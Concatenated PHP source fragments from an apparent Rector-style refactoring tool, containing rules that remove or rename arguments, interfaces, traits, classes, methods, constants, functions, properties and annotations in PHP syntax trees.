($parentClassReflection->getTraits() as $parentTraitReflection) { $traitReflections[] = $parentTraitReflection; } } return $traitReflections; } } phpDocInfoFactory = $phpDocInfoFactory; $this->phpDocTagRemover = $phpDocTagRemover; $this->nodeNameResolver = $nodeNameResolver; $this->docBlockUpdater = $docBlockUpdater; } /** * @param int[] $paramKeysToBeRemoved * @return int[] */ public function processRemoveParamWithKeys(ClassMethod $classMethod, array $paramKeysToBeRemoved) : array { $totalKeys = \count($classMethod->params) - 1; $removedParamKeys = []; $phpdocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($classMethod); foreach ($paramKeysToBeRemoved as $paramKeyToBeRemoved) { $startNextKey = $paramKeyToBeRemoved + 1; for ($nextKey = $startNextKey; $nextKey <= $totalKeys; ++$nextKey) { if (!isset($classMethod->params[$nextKey])) { // no next param, break the inner loop, remove the param break; } if (\in_array($nextKey, $paramKeysToBeRemoved, \true)) { // keep searching next key not in $paramKeysToBeRemoved continue; } return []; } $paramName = (string) $this->nodeNameResolver->getName($classMethod->params[$paramKeyToBeRemoved]); unset($classMethod->params[$paramKeyToBeRemoved]); $paramTagValueByName = $phpdocInfo->getParamTagValueByName($paramName); if ($paramTagValueByName instanceof ParamTagValueNode) { $this->phpDocTagRemover->removeTagValueFromNode($phpdocInfo, $paramTagValueByName); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($classMethod); } $removedParamKeys[] = $paramKeyToBeRemoved; } return $removedParamKeys; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Removes defined arguments in defined methods and their calls.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' $someObject = new SomeClass; $someObject->someMethod(true); CODE_SAMPLE , <<<'CODE_SAMPLE' $someObject = new SomeClass; $someObject->someMethod(); CODE_SAMPLE , [new ArgumentRemover('ExampleClass', 'someMethod', 0, [\true])])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class, ClassMethod::class]; } /** * @param MethodCall|StaticCall|ClassMethod $node * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Stmt\ClassMethod|null */ public function refactor(Node $node) { $this->hasChanged = \false; foreach ($this->removedArguments as $removedArgument) { if (!$this->isName($node->name, $removedArgument->getMethod())) { continue; } if (!$this->nodeTypeResolver->isMethodStaticCallOrClassMethodObjectType($node, $removedArgument->getObjectType())) { continue; } $this->processPosition($node, $removedArgument); } if ($this->hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ArgumentRemover::class); $this->removedArguments = $configuration; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $node */ private function processPosition($node, ArgumentRemover $argumentRemover) : void { if ($argumentRemover->getValue() === null) { if ($node instanceof MethodCall || $node instanceof StaticCall) { unset($node->args[$argumentRemover->getPosition()]); } else { unset($node->params[$argumentRemover->getPosition()]); } return; } $match = $argumentRemover->getValue(); if (isset($match['name'])) { $this->removeByName($node, $argumentRemover->getPosition(), $match['name']); return; } // only argument specific value can be removed if ($node instanceof ClassMethod) { return; } if (!isset($node->args[$argumentRemover->getPosition()])) { return; } if ($this->isArgumentValueMatch($node->args[$argumentRemover->getPosition()], $match)) { $this->hasChanged = \true; unset($node->args[$argumentRemover->getPosition()]); } } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $node */ private function removeByName($node, int $position, string $name) : void { if ($node instanceof MethodCall || $node instanceof StaticCall) { if (isset($node->args[$position]) && $this->isName($node->args[$position], $name)) { unset($node->args[$position]); } return; } if (!(isset($node->params[$position]) && $this->isName($node->params[$position], $name))) { return; } unset($node->params[$position]); } /** * @param mixed[] $values * @param \PhpParser\Node\Arg|\PhpParser\Node\VariadicPlaceholder $arg */ private function isArgumentValueMatch($arg, array $values) : bool { if (!$arg instanceof Arg) { return \false; } $nodeValue = $this->valueResolver->getValue($arg->value); return \in_array($nodeValue, $values, \true); } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($node->implements === []) { return null; } $isInterfacesRemoved = \false; foreach ($node->implements as $key => $implement) { if ($this->isNames($implement, $this->interfacesToRemove)) { unset($node->implements[$key]); $isInterfacesRemoved = \true; } } if (!$isInterfacesRemoved) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration); /** @var string[] $configuration */ $this->interfacesToRemove = $configuration; } } > */ public function getNodeTypes() : array { return [Class_::class, Trait_::class]; } /** * @param Class_|Trait_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof TraitUse) { continue; } foreach ($stmt->traits as $traitKey => $trait) { if (!$this->isNames($trait, $this->traitsToRemove)) { continue; } unset($stmt->traits[$traitKey]); $hasChanged = \true; } // remove empty trait uses if ($stmt->traits === []) { unset($node->stmts[$key]); } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration); $this->traitsToRemove = $configuration; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($node->name instanceof Expr) { return null; } $hasChanged = \false; foreach ($this->removedFunctionArguments as $removedFunctionArgument) { if (!$this->isName($node->name, $removedFunctionArgument->getFunction())) { continue; } foreach (\array_keys($node->args) as $position) { if ($removedFunctionArgument->getArgumentPosition() !== $position) { continue; } unset($node->args[$position]); $hasChanged = \true; } } if (!$hasChanged) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, RemoveFuncCallArg::class); $this->removedFunctionArguments = $configuration; } } > */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node */ public function refactor(Node $node) : ?int { $expr = $node->expr; if (!$expr instanceof FuncCall) { return null; } foreach ($this->removedFunctions as $removedFunction) { if (!$this->isName($expr->name, $removedFunction)) { continue; } return NodeTraverser::REMOVE_NODE; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration); $this->removedFunctions = $configuration; } } class = $class; $this->method = $method; $this->position = $position; $this->value = $value; RectorAssert::className($class); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getMethod() : string { return $this->method; } public function getPosition() : int { return $this->position; } /** * @return mixed */ public function getValue() { return $this->value; } } function = $function; $this->argumentPosition = $argumentPosition; RectorAssert::functionName($function); } public function getFunction() : string { return $this->function; } public function getArgumentPosition() : int { return $this->argumentPosition; } } names[] = $name; } public function has(string $name) : bool { return \in_array($name, $this->names, \true); } public function reset() : void { $this->names = []; } } */ private $oldToNewTypesByCacheKey = []; public function __construct(PhpDocClassRenamer $phpDocClassRenamer, PhpDocInfoFactory $phpDocInfoFactory, DocBlockClassRenamer $docBlockClassRenamer, ReflectionProvider $reflectionProvider, FileHasher $fileHasher, DocBlockUpdater $docBlockUpdater, RenamedNameCollector $renamedNameCollector) { $this->phpDocClassRenamer = $phpDocClassRenamer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockClassRenamer = $docBlockClassRenamer; $this->reflectionProvider = $reflectionProvider; $this->fileHasher = $fileHasher; $this->docBlockUpdater = $docBlockUpdater; $this->renamedNameCollector = $renamedNameCollector; } /** * @param array $oldToNewClasses * @return ($node is FullyQualified ? FullyQualified : Node) */ public function renameNode(Node $node, array $oldToNewClasses, ?Scope $scope) : ?Node { $oldToNewTypes = $this->createOldToNewTypes($oldToNewClasses); if ($node instanceof FullyQualified) { return $this->refactorName($node, $oldToNewClasses); } $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if ($phpDocInfo instanceof PhpDocInfo) { $hasPhpDocChanged = $this->refactorPhpDoc($node, $oldToNewTypes, $oldToNewClasses, $phpDocInfo); if ($hasPhpDocChanged) { return $node; } } if ($node instanceof ClassLike) { return $this->refactorClassLike($node, $oldToNewClasses, $scope); } return null; } /** * @param OldToNewType[] $oldToNewTypes * @param array $oldToNewClasses */ private function refactorPhpDoc(Node $node, array $oldToNewTypes, array $oldToNewClasses, PhpDocInfo $phpDocInfo) : bool { if (!$phpDocInfo->hasByTypes(NodeTypes::TYPE_AWARE_NODES) && !$phpDocInfo->hasByAnnotationClasses(NodeTypes::TYPE_AWARE_DOCTRINE_ANNOTATION_CLASSES)) { return \false; } if ($node instanceof AttributeGroup) { return \false; } $hasChanged = $this->docBlockClassRenamer->renamePhpDocType($phpDocInfo, $oldToNewTypes, $node); $hasChanged = $this->phpDocClassRenamer->changeTypeInAnnotationTypes($node, $phpDocInfo, $oldToNewClasses, $hasChanged); if ($hasChanged) { $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return \true; } return \false; } private function shouldSkip(string $newName, FullyQualified $fullyQualified) : bool { if ($fullyQualified->getAttribute(AttributeKey::IS_STATICCALL_CLASS_NAME) === \true && $this->reflectionProvider->hasClass($newName)) { $classReflection = $this->reflectionProvider->getClass($newName); return $classReflection->isInterface(); } return \false; } /** * @param array $oldToNewClasses */ private function refactorName(FullyQualified $fullyQualified, array $oldToNewClasses) : ?FullyQualified { if ($fullyQualified->getAttribute(AttributeKey::IS_FUNCCALL_NAME) === \true) { return null; } $stringName = $fullyQualified->toString(); $newName = $oldToNewClasses[$stringName] ?? null; if ($newName === null) { return null; } if (!$this->isClassToInterfaceValidChange($fullyQualified, $newName)) { return null; } if ($this->shouldSkip($newName, $fullyQualified)) { return null; } $this->renamedNameCollector->add($stringName); return new FullyQualified($newName); } /** * @param array $oldToNewClasses */ private function refactorClassLike(ClassLike $classLike, array $oldToNewClasses, ?Scope $scope) : ?Node { // rename interfaces if (!$classLike instanceof Class_) { return null; } $hasChanged = \false; $classLike->implements = \array_unique($classLike->implements); foreach ($classLike->implements as $key => $implementName) { $namespaceName = $scope instanceof Scope ? $scope->getNamespace() : null; $fullyQualifiedName = $namespaceName . '\\' . $implementName->toString(); $newName = $oldToNewClasses[$fullyQualifiedName] ?? null; if ($newName === null) { continue; } $classLike->implements[$key] = new FullyQualified($newName); $hasChanged = \true; } if ($hasChanged) { return $classLike; } return null; } /** * Checks validity: * * - extends SomeClass * - extends SomeInterface * * - new SomeClass * - new SomeInterface * * - implements SomeInterface * - implements SomeClass */ private function isClassToInterfaceValidChange(FullyQualified $fullyQualified, string $newClassName) : bool { if (!$this->reflectionProvider->hasClass($newClassName)) { return \true; } $classReflection = $this->reflectionProvider->getClass($newClassName); // ensure new is not with interface if ($fullyQualified->getAttribute(AttributeKey::IS_NEW_INSTANCE_NAME) !== \true) { return $this->isValidClassNameChange($fullyQualified, $classReflection); } if (!$classReflection->isInterface()) { return $this->isValidClassNameChange($fullyQualified, $classReflection); } return \false; } private function isValidClassNameChange(FullyQualified $fullyQualified, ClassReflection $classReflection) : bool { if ($fullyQualified->getAttribute(AttributeKey::IS_CLASS_EXTENDS) === \true) { // is class to interface? if ($classReflection->isInterface()) { return \false; } if ($classReflection->isFinalByKeyword()) { return \false; } } if ($fullyQualified->getAttribute(AttributeKey::IS_CLASS_IMPLEMENT) === \true) { // is interface to class? return !$classReflection->isClass(); } return \true; } /** * @param array $oldToNewClasses * @return OldToNewType[] */ private function createOldToNewTypes(array $oldToNewClasses) : array { $serialized = \serialize($oldToNewClasses); $cacheKey = $this->fileHasher->hash($serialized); if (isset($this->oldToNewTypesByCacheKey[$cacheKey])) { return $this->oldToNewTypesByCacheKey[$cacheKey]; } $oldToNewTypes = []; foreach ($oldToNewClasses as $oldClass => $newClass) { $oldObjectType = new ObjectType($oldClass); $newObjectType = new FullyQualifiedObjectType($newClass); $oldToNewTypes[] = new OldToNewType($oldObjectType, $newObjectType); } $this->oldToNewTypesByCacheKey[$cacheKey] = $oldToNewTypes; return $oldToNewTypes; } } $node) { if (!$node instanceof Break_) { continue; } if (!$node->num instanceof LNumber || $node->num->value === 1) { unset($stmts[$key]); continue; } $node->num = $node->num->value === 2 ? null : new LNumber($node->num->value - 1); } return $stmts; } } > */ public function getNodeTypes() : array { return [ClassConstFetch::class]; } /** * @param ClassConstFetch $node */ public function refactor(Node $node) : ?ClassConstFetch { foreach ($this->renameClassConstFetches as $renameClassConstFetch) { if (!$this->isName($node->name, $renameClassConstFetch->getOldConstant())) { continue; } if (!$this->isObjectType($node->class, $renameClassConstFetch->getOldObjectType())) { continue; } if ($renameClassConstFetch instanceof RenameClassAndConstFetch) { return $this->createClassAndConstFetch($renameClassConstFetch); } $node->name = new Identifier($renameClassConstFetch->getNewConstant()); return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, RenameClassConstFetchInterface::class); $this->renameClassConstFetches = $configuration; } private function createClassAndConstFetch(RenameClassAndConstFetch $renameClassAndConstFetch) : ClassConstFetch { return new ClassConstFetch(new FullyQualified($renameClassAndConstFetch->getNewClass()), new Identifier($renameClassAndConstFetch->getNewConstant())); } } docBlockTagReplacer = $docBlockTagReplacer; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Turns defined annotations above properties and methods to their new values.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeTest extends TestCase { /** * @test */ public function someMethod() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeTest extends TestCase { /** * @scenario */ public function someMethod() { } } CODE_SAMPLE , [new RenameAnnotationByType('PHPUnit\\Framework\\TestCase', 'test', 'scenario')])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Expression::class]; } /** * @param Class_|Expression $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Expression) { return $this->refactorExpression($node); } $hasChanged = \false; foreach ($node->stmts as $stmt) { if (!$stmt instanceof ClassMethod && !$stmt instanceof Property) { continue; } $phpDocInfo = $this->phpDocInfoFactory->createFromNode($stmt); if (!$phpDocInfo instanceof PhpDocInfo) { continue; } foreach ($this->renameAnnotations as $renameAnnotation) { if ($renameAnnotation instanceof RenameAnnotationByType && !$this->isObjectType($node, $renameAnnotation->getObjectType())) { continue; } $hasDocBlockChanged = $this->docBlockTagReplacer->replaceTagByAnother($phpDocInfo, $renameAnnotation->getOldAnnotation(), $renameAnnotation->getNewAnnotation()); if ($hasDocBlockChanged) { $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($stmt); $hasChanged = \true; } } } if (!$hasChanged) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, RenameAnnotationInterface::class); $this->renameAnnotations = $configuration; } private function refactorExpression(Expression $expression) : ?Expression { $hasChanged = \false; $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($expression); foreach ($this->renameAnnotations as $renameAnnotation) { $hasDocBlockChanged = $this->docBlockTagReplacer->replaceTagByAnother($phpDocInfo, $renameAnnotation->getOldAnnotation(), $renameAnnotation->getNewAnnotation()); if ($hasDocBlockChanged) { $hasChanged = \true; } } if ($hasChanged) { $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($expression); return $expression; } return null; } } > */ public function getNodeTypes() : array { return [Class_::class, ClassMethod::class, Property::class]; } /** * @param Class_|ClassMethod|Property $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($node->attrGroups as $attrGroup) { foreach ($attrGroup->attrs as $attr) { $newAttributeName = $this->matchNewAttributeName($attr); if (!\is_string($newAttributeName)) { continue; } $attr->name = new FullyQualified($newAttributeName); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, RenameAttribute::class); $this->renameAttributes = $configuration; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ATTRIBUTES; } private function matchNewAttributeName(Attribute $attribute) : ?string { foreach ($this->renameAttributes as $renameAttribute) { if ($this->isName($attribute->name, $renameAttribute->getOldAttribute())) { return $renameAttribute->getNewAttribute(); } } return null; } } */ private $oldToNewConstants = []; public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replace constant by new ones', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { return MYSQL_ASSOC; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run() { return MYSQLI_ASSOC; } } CODE_SAMPLE , ['MYSQL_ASSOC' => 'MYSQLI_ASSOC', 'OLD_CONSTANT' => 'NEW_CONSTANT'])]); } /** * @return array> */ public function getNodeTypes() : array { return [ConstFetch::class]; } /** * @param ConstFetch $node */ public function refactor(Node $node) : ?Node { foreach ($this->oldToNewConstants as $oldConstant => $newConstant) { if (!$this->isName($node->name, $oldConstant)) { continue; } $node->name = new Name($newConstant); return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString(\array_keys($configuration)); Assert::allString($configuration); foreach ($configuration as $oldConstant => $newConstant) { RectorAssert::constantName($oldConstant); RectorAssert::constantName($newConstant); } /** @var array $configuration */ $this->oldToNewConstants = $configuration; } } */ private $oldFunctionToNewFunction = []; public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Turns defined function call new one.', [new ConfiguredCodeSample('view("...", []);', 'Laravel\\Templating\\render("...", []);', ['view' => 'Laravel\\Templating\\render'])]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { $nodeName = $this->getName($node); if ($nodeName === null) { return null; } foreach ($this->oldFunctionToNewFunction as $oldFunction => $newFunction) { if (!$this->nodeNameResolver->isStringName($nodeName, $oldFunction)) { continue; } $node->name = $this->createName($newFunction); return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString(\array_values($configuration)); Assert::allString($configuration); $this->oldFunctionToNewFunction = $configuration; } private function createName(string $newFunction) : Name { if (\strpos($newFunction, '\\') !== \false) { return new FullyQualified($newFunction); } return new Name($newFunction); } } breakingVariableRenameGuard = $breakingVariableRenameGuard; $this->paramRenamer = $paramRenamer; $this->paramRenameFactory = $paramRenameFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Rename param within closures and arrow functions based on use with specified method calls', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' (new SomeClass)->process(function ($param) {}); CODE_SAMPLE , <<<'CODE_SAMPLE' (new SomeClass)->process(function ($parameter) {}); CODE_SAMPLE , [new RenameFunctionLikeParamWithinCallLikeArg('SomeClass', 'process', 0, 0, 'parameter')])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class]; } /** * @param CallLike $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($this->renameFunctionLikeParamWithinCallLikeArgs as $renameFunctionLikeParamWithinCallLikeArg) { if (!$node instanceof MethodCall && !$node instanceof StaticCall) { continue; } switch (\true) { case $node instanceof MethodCall: $type = $node->var; break; case $node instanceof StaticCall: $type = $node->class; break; } if (!$this->isObjectType($type, $renameFunctionLikeParamWithinCallLikeArg->getObjectType())) { continue; } if (($node->name ?? null) === null) { continue; } if (!$node->name instanceof Identifier) { continue; } if (!$this->isName($node->name, $renameFunctionLikeParamWithinCallLikeArg->getMethodName())) { continue; } $arg = $this->findArgFromMethodCall($renameFunctionLikeParamWithinCallLikeArg, $node); $functionLike = ($nullsafeVariable1 = $arg) ? $nullsafeVariable1->value : null; if (!$arg instanceof Arg) { continue; } if (!$functionLike instanceof FunctionLike) { continue; } $param = $this->findParameterFromArg($arg, $renameFunctionLikeParamWithinCallLikeArg); if (!$param instanceof Param) { continue; } if (!$param->var instanceof Variable) { continue; } if (($functionLike instanceof Closure || $functionLike instanceof ArrowFunction) && $this->breakingVariableRenameGuard->shouldSkipVariable((string) $this->nodeNameResolver->getName($param->var), $renameFunctionLikeParamWithinCallLikeArg->getNewParamName(), $functionLike, $param->var)) { continue; } $paramRename = $this->paramRenameFactory->createFromResolvedExpectedName($functionLike, $param, $renameFunctionLikeParamWithinCallLikeArg->getNewParamName()); if (!$paramRename instanceof ParamRename) { continue; } $this->paramRenamer->rename($paramRename); $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } /** * @param RenameFunctionLikeParamWithinCallLikeArg[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, RenameFunctionLikeParamWithinCallLikeArg::class); $this->renameFunctionLikeParamWithinCallLikeArgs = $configuration; } public function findParameterFromArg(Arg $arg, RenameFunctionLikeParamWithinCallLikeArg $renameFunctionLikeParamWithinCallLikeArg) : ?Param { $functionLike = $arg->value; if (!$functionLike instanceof FunctionLike) { return null; } return $functionLike->params[$renameFunctionLikeParamWithinCallLikeArg->getFunctionLikePosition()] ?? null; } private function findArgFromMethodCall(RenameFunctionLikeParamWithinCallLikeArg $renameFunctionLikeParamWithinCallLikeArg, CallLike $callLike) : ?Arg { if (\is_int($renameFunctionLikeParamWithinCallLikeArg->getCallLikePosition())) { return $this->processPositionalArg($callLike, $renameFunctionLikeParamWithinCallLikeArg); } return $this->processNamedArg($callLike, $renameFunctionLikeParamWithinCallLikeArg); } private function processPositionalArg(CallLike $callLike, RenameFunctionLikeParamWithinCallLikeArg $renameFunctionLikeParamWithinCallLikeArg) : ?Arg { if ($callLike->isFirstClassCallable()) { return null; } if ($callLike->getArgs() === []) { return null; } $arg = $callLike->args[$renameFunctionLikeParamWithinCallLikeArg->getCallLikePosition()] ?? null; if (!$arg instanceof Arg) { return null; } // int positions shouldn't have names if ($arg->name !== null) { return null; } return $arg; } private function processNamedArg(CallLike $callLike, RenameFunctionLikeParamWithinCallLikeArg $renameFunctionLikeParamWithinCallLikeArg) : ?Arg { $args = \array_filter($callLike->getArgs(), static function (Arg $arg) use($renameFunctionLikeParamWithinCallLikeArg) : bool { if ($arg->name === null) { return \false; } return $arg->name->name === $renameFunctionLikeParamWithinCallLikeArg->getCallLikePosition(); }); if ($args === []) { return null; } return \array_values($args)[0]; } } classManipulator = $classManipulator; $this->reflectionResolver = $reflectionResolver; $this->reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Turns method names to new ones.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' $someObject = new SomeExampleClass; $someObject->oldMethod(); CODE_SAMPLE , <<<'CODE_SAMPLE' $someObject = new SomeExampleClass; $someObject->newMethod(); CODE_SAMPLE , [new MethodCallRename('SomeExampleClass', 'oldMethod', 'newMethod')])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, NullsafeMethodCall::class, StaticCall::class, Class_::class, Interface_::class]; } /** * @param MethodCall|NullsafeMethodCall|StaticCall|Class_|Interface_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($node instanceof Class_ || $node instanceof Interface_) { return $this->refactorClass($node, $scope); } return $this->refactorMethodCallAndStaticCall($node); } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, MethodCallRenameInterface::class); $this->methodCallRenames = $configuration; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\NullsafeMethodCall|\PhpParser\Node\Expr\StaticCall $call */ private function shouldSkipClassMethod($call, MethodCallRenameInterface $methodCallRename) : bool { $classReflection = $this->reflectionResolver->resolveClassReflectionSourceObject($call); if (!$classReflection instanceof ClassReflection) { return \false; } $targetClass = $methodCallRename->getClass(); if (!$this->reflectionProvider->hasClass($targetClass)) { return \false; } $targetClassReflection = $this->reflectionProvider->getClass($targetClass); if ($classReflection->getName() === $targetClassReflection->getName()) { return \false; } // different with configured ClassLike source? it is a child, which may has old and new exists if (!$classReflection->hasMethod($methodCallRename->getOldMethod())) { return \false; } return $classReflection->hasMethod($methodCallRename->getNewMethod()); } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_ $classOrInterface */ private function hasClassNewClassMethod($classOrInterface, MethodCallRenameInterface $methodCallRename) : bool { return (bool) $classOrInterface->getMethod($methodCallRename->getNewMethod()); } private function shouldKeepForParentInterface(MethodCallRenameInterface $methodCallRename, ?ClassReflection $classReflection) : bool { if (!$classReflection instanceof ClassReflection) { return \false; } // interface can change current method, as parent contract is still valid if (!$classReflection->isInterface()) { return \false; } return $this->classManipulator->hasParentMethodOrInterface($methodCallRename->getObjectType(), $methodCallRename->getOldMethod()); } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_ $classOrInterface * @return \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_|null */ private function refactorClass($classOrInterface, Scope $scope) { if (!$scope->isInClass()) { return null; } $classReflection = $scope->getClassReflection(); $hasChanged = \false; foreach ($classOrInterface->getMethods() as $classMethod) { $methodName = $this->getName($classMethod->name); if ($methodName === null) { continue; } foreach ($this->methodCallRenames as $methodCallRename) { if ($this->shouldSkipRename($methodName, $classMethod, $methodCallRename, $classOrInterface, $classReflection)) { continue; } $classMethod->name = new Identifier($methodCallRename->getNewMethod()); $hasChanged = \true; continue 2; } } if ($hasChanged) { return $classOrInterface; } return null; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_ $classOrInterface */ private function shouldSkipRename(string $methodName, ClassMethod $classMethod, MethodCallRenameInterface $methodCallRename, $classOrInterface, ?ClassReflection $classReflection) : bool { if (!$this->nodeNameResolver->isStringName($methodName, $methodCallRename->getOldMethod())) { return \true; } if (!$this->nodeTypeResolver->isMethodStaticCallOrClassMethodObjectType($classMethod, $methodCallRename->getObjectType())) { return \true; } if ($this->shouldKeepForParentInterface($methodCallRename, $classReflection)) { return \true; } return $this->hasClassNewClassMethod($classOrInterface, $methodCallRename); } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\NullsafeMethodCall $call * @return \PhpParser\Node\Expr\ArrayDimFetch|null|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\NullsafeMethodCall */ private function refactorMethodCallAndStaticCall($call) { $callName = $this->getName($call->name); if ($callName === null) { return null; } foreach ($this->methodCallRenames as $methodCallRename) { if (!$this->nodeNameResolver->isStringName($callName, $methodCallRename->getOldMethod())) { continue; } if (!$this->nodeTypeResolver->isMethodStaticCallOrClassMethodObjectType($call, $methodCallRename->getObjectType())) { continue; } if ($this->shouldSkipClassMethod($call, $methodCallRename)) { continue; } $call->name = new Identifier($methodCallRename->getNewMethod()); if ($methodCallRename instanceof MethodCallRenameWithArrayKey) { return new ArrayDimFetch($call, BuilderHelpers::normalizeValue($methodCallRename->getArrayKey())); } return $call; } return null; } } renamedClassesDataCollector = $renamedClassesDataCollector; $this->classRenamer = $classRenamer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replaces defined classes by new ones.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' namespace App; use SomeOldClass; function someFunction(SomeOldClass $someOldClass): SomeOldClass { if ($someOldClass instanceof SomeOldClass) { return new SomeOldClass; } } CODE_SAMPLE , <<<'CODE_SAMPLE' namespace App; use SomeNewClass; function someFunction(SomeNewClass $someOldClass): SomeNewClass { if ($someOldClass instanceof SomeNewClass) { return new SomeNewClass; } } CODE_SAMPLE , ['App\\SomeOldClass' => 'App\\SomeNewClass'])]); } /** * @return array> */ public function getNodeTypes() : array { return [FullyQualified::class, Property::class, FunctionLike::class, Expression::class, ClassLike::class, If_::class]; } /** * @param FunctionLike|FullyQualified|ClassLike|Expression|Namespace_|Property|If_ $node */ public function refactor(Node $node) : ?Node { $oldToNewClasses = $this->renamedClassesDataCollector->getOldToNewClasses(); if ($oldToNewClasses !== []) { $scope = $node->getAttribute(AttributeKey::SCOPE); return $this->classRenamer->renameNode($node, $oldToNewClasses, $scope); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration); Assert::allString(\array_keys($configuration)); $this->renamedClassesDataCollector->addOldToNewClasses($configuration); } } someOldProperty;', '$someObject->someNewProperty;', [new RenameProperty('SomeClass', 'someOldProperty', 'someNewProperty')])]); } /** * @return array> */ public function getNodeTypes() : array { return [PropertyFetch::class, ClassLike::class]; } /** * @param PropertyFetch|ClassLike $node */ public function refactor(Node $node) : ?Node { if ($node instanceof ClassLike) { $this->hasChanged = \false; foreach ($this->renamedProperties as $renamedProperty) { $this->renameProperty($node, $renamedProperty); } if ($this->hasChanged) { return $node; } return null; } return $this->refactorPropertyFetch($node); } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, RenameProperty::class); $this->renamedProperties = $configuration; } private function renameProperty(ClassLike $classLike, RenameProperty $renameProperty) : void { $classLikeName = (string) $this->nodeNameResolver->getName($classLike); $renamePropertyObjectType = $renameProperty->getObjectType(); $className = $renamePropertyObjectType->getClassName(); $classLikeNameObjectType = new ObjectType($classLikeName); $classNameObjectType = new ObjectType($className); $isSuperType = $classNameObjectType->isSuperTypeOf($classLikeNameObjectType)->yes(); if ($classLikeName !== $className && !$isSuperType) { return; } $property = $classLike->getProperty($renameProperty->getOldProperty()); if (!$property instanceof Property) { return; } $newProperty = $renameProperty->getNewProperty(); $targetNewProperty = $classLike->getProperty($newProperty); if ($targetNewProperty instanceof Property) { return; } $this->hasChanged = \true; $property->props[0]->name = new VarLikeIdentifier($newProperty); } private function refactorPropertyFetch(PropertyFetch $propertyFetch) : ?PropertyFetch { foreach ($this->renamedProperties as $renamedProperty) { $oldProperty = 